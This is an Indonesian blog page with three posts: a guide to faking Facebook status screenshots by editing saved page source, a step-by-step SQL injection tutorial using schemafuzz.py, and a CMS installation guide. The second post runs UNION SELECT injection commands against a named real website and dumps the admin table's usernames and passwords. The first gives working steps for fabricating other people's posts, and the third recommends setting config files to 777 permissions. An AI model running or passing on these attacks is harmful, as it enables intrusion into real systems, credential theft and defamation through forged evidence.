Maraknya Penyebaran Foto Capture HOAX

Sallam,

Kali ini Saya akan memberikan sedikit penjelasan tentang maraknya upload gambar Capture HOAX yang sengaja diunggah ke berbagai situs jejaring sosial seperti Facebook untuk menjatuhkan atau melecehkan seseorang / golongan tertentu. Tidak sedikit Saya temukan hasil capture postingan di status Facebook / Group yang telah di edit yang sengaja di unggah oleh pihak tertentu yang tidak bertanggung jawab. Saya hanya menghimbau kepada temen-temen semua agar tidak mudah percaya kebenaran akan hasil capture tersebut.

Ada beberapa cara tentunya untuk mengedit postingan seseorang sehingga ada suatu pihak yang sengaja untuk menyebarluaskan hasil editan gambar tersebut. Dari berbagai software editor gambar seperti paint, photoshop dst. Tetapi kali ini Saya tidak akan menjelaskan panjang lebar caranya dengan menggunakan software tersebut, namun Saya akan sedikit memberikan sedikit trik untuk mengedit postingan seseorang di situs jejaring sosial hingga menjadi gambar dari hasil Capture yang lebih terkesan asli tanpa terlihat cacat sedikitpun karena tanpa perlu mengedit dengan software editor gambar.

Langsung saja, yang Anda butuhkan adalah notepad / notepad portable atau editor lain yang menurut Anda nyaman digunakan. Namun kali ini Saya menggunakan Notepad Portable. Sebagai contoh, kali ini Saya akan mengeksekusi status teman Saya sendiri di Facebook.

• Buka Beranda dan cari target
  
  
• Target sudah ditemukan, View Page Source atau Ctrl + U lalu copy seluruh code.
  
  
• Buka Notepad dan paste seluruh code.
  
• Sekarang tinggal di eksekusi, coba ganti status target menjadi "Saya Galau..."
• Cari status target (Ctrl+F) "Semacam di cuekin -____-" dan ganti dengan "Saya Galau..."
  
  
  
• Save dengan nama terserah.html
• Dobel klik terserah.html dan lihat hasilnya,
  
  

• Silahkan berkreasi dengan mengganti Nama, Foto dst...
  
  

Tulisan ini semata-mata hanya untuk pembelajaran saja. Dan sekali lagi Saya himbau agar tidak mudah percaya dengan kebenaran hasil sebuah Capture tanpa adanya bukti yang jelas.

Mudah-mudahan bermanfaat,
Sallam...

17.26 | 5 komentar | Read More

Tutorial Schemafuzz

Assallamualaikum Wr Wb,
Salam sejahtera,
Pada kesempatan kali ini saya akan berbagi tutorial singkat SQLi menggunakan schemafuzz.py.
Oke langsung saja, langkah pertama download schemafuzz DISINI. Langkah berikutnya install python, jika belum ada bisa di download DISINI. Jika python sudah terinstal, langsung jalankan di cmd. Untuk mempermudah silahkan rename schemafuzz.py menjadi root.py dan simpan di Direktori C.

• Siapkan target, disini saya menggunakan "http://www.perfectpotion.net.cn/article.php?id=36"
  
  
• Buka cmd, ketikkan perintah "cd c:\" lalu "dir" anpa tanda kutip.
  
  
• Kemudian cari jumlah column degnan mengetikan perintah dibawah tanpa tanda kutip, (Lihat Gambar).
  
  "root.py --findcol -u http://www.perfectpotion.net.cn/article.php?id=36"
  
  
  Maka hasilnya akan tampak seperti gambar dibawah :
  
  
  
• Dari gambar di atas bisa kita lihat bahwa jumlah column adalah 20, null column pada column ke-1. Seperti di SQLi manual, column 1 adalah angka ajaib.
  
  
• Langkah selanjutnya mencari nama database. Ketikkan perintah : root.py --dbs -u (darkc0de URL)
  
  "root.py --dbs -u http://www.perfectpotion.net.cn/article.php?id=36+AND+1=2+UNION+SELECT+0,darkc0de,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19"
  
  Lihat hasilnya :
  
  Dari gambar di atas sudah terlihat nama database yaitu "yf".
  
  
• Untuk melihat table dan column, kita ketikkan perintah "root.py --schema -u (darkc0de URL) -D (database name)
  
  "root.py --schema -u http://www.perfectpotion.net.cn/article.php?id=36+AND+1=2+UNION+SELECT+0,darkc0de,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 -D yf"
  
  
  Maka hasilnya akan tampak dalam gambar berikut :
  
  
  
• Dari gambar di atas sudah terlihat jelas nama table dan column, untuk melihat data dalam column ketikkan perintah "root.py --dump -u (darkc0de URL) -D (database name) -T (table name) -C (column name)
  
  *Untuk menghindari error dalam pembacaan data, saya hanya akan mengambil data di table "admin" dan column "ID,AdminName,AdminPass" saja.
  
  "root.py --dump -u http://www.perfectpotion.net.cn/article.php?id=36+AND+1=2+UNION+SELECT+0,darkc0de,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 -D yf -T admin -C ID,AdminName,AdminPass"

Maaf, hasilnya tidak akan saya post disini... :D
Mudah-mudahan bermanfaat,
Wassalam...

02.27 | 0 komentar | Read More

Instalasi Jcow ( Sosial Networking ) Di Free Web Hosting

Kali ini saya akan berbagi tutorial singkat instalasi CMS Jcow di free web hosting. Tanpa panjang lebar langsung saja. Langkah pertama, download file jcow 6.0.1 DISINI.
Untuk Jcow 7.0 tidak support untuk free web hosting.
Selanjutnya anda harus mempunyai hosting sendiri, tapi kali ini sesuai judul di atas saya menggunakan free web hosting dan saya anggap kalian sudah paham tentang web hosting. Disini saya menggunakan idhostinger[dot]com.
Langkah selanjutnya,

• Login ke cpanel, buka file manager - public_html - upload, kemudian upload file jcow yang sudah kalian download tadi. (Lihat Gambar)
  
  
  
• Setelah proses upload selesai, masuk ke folder install, pilih / centang config.php - Chmod, Rubah perms menjadi 777.
  
  
• Lalu seperti cara di atas, buka folder "my" rubah perms config.php menjadi 777.
• Kemudian kembali ke cpanel - masuk ke Database MySQL, buat database baru.
• Buka tab baru di browser anda, ketikkan http://www.namadomainanda.com/install.php lalu isi kolom sesuai database yang anda buat tadi. (Lihat Gambar)
  
  
  
• Tinggal satu langkah lagi, masuk ke cpanel - file manager - public_html, delete file install.php
• Silahkan berkreasi, rubah tampilan sesuai keinginan kalian.
  
• KLIK DISINI untuk Live Demo.
• Selesai.
  
  
  Selamat mencoba, semoga bermanfaat...
  
  
  

12.00 | 3 komentar | Read More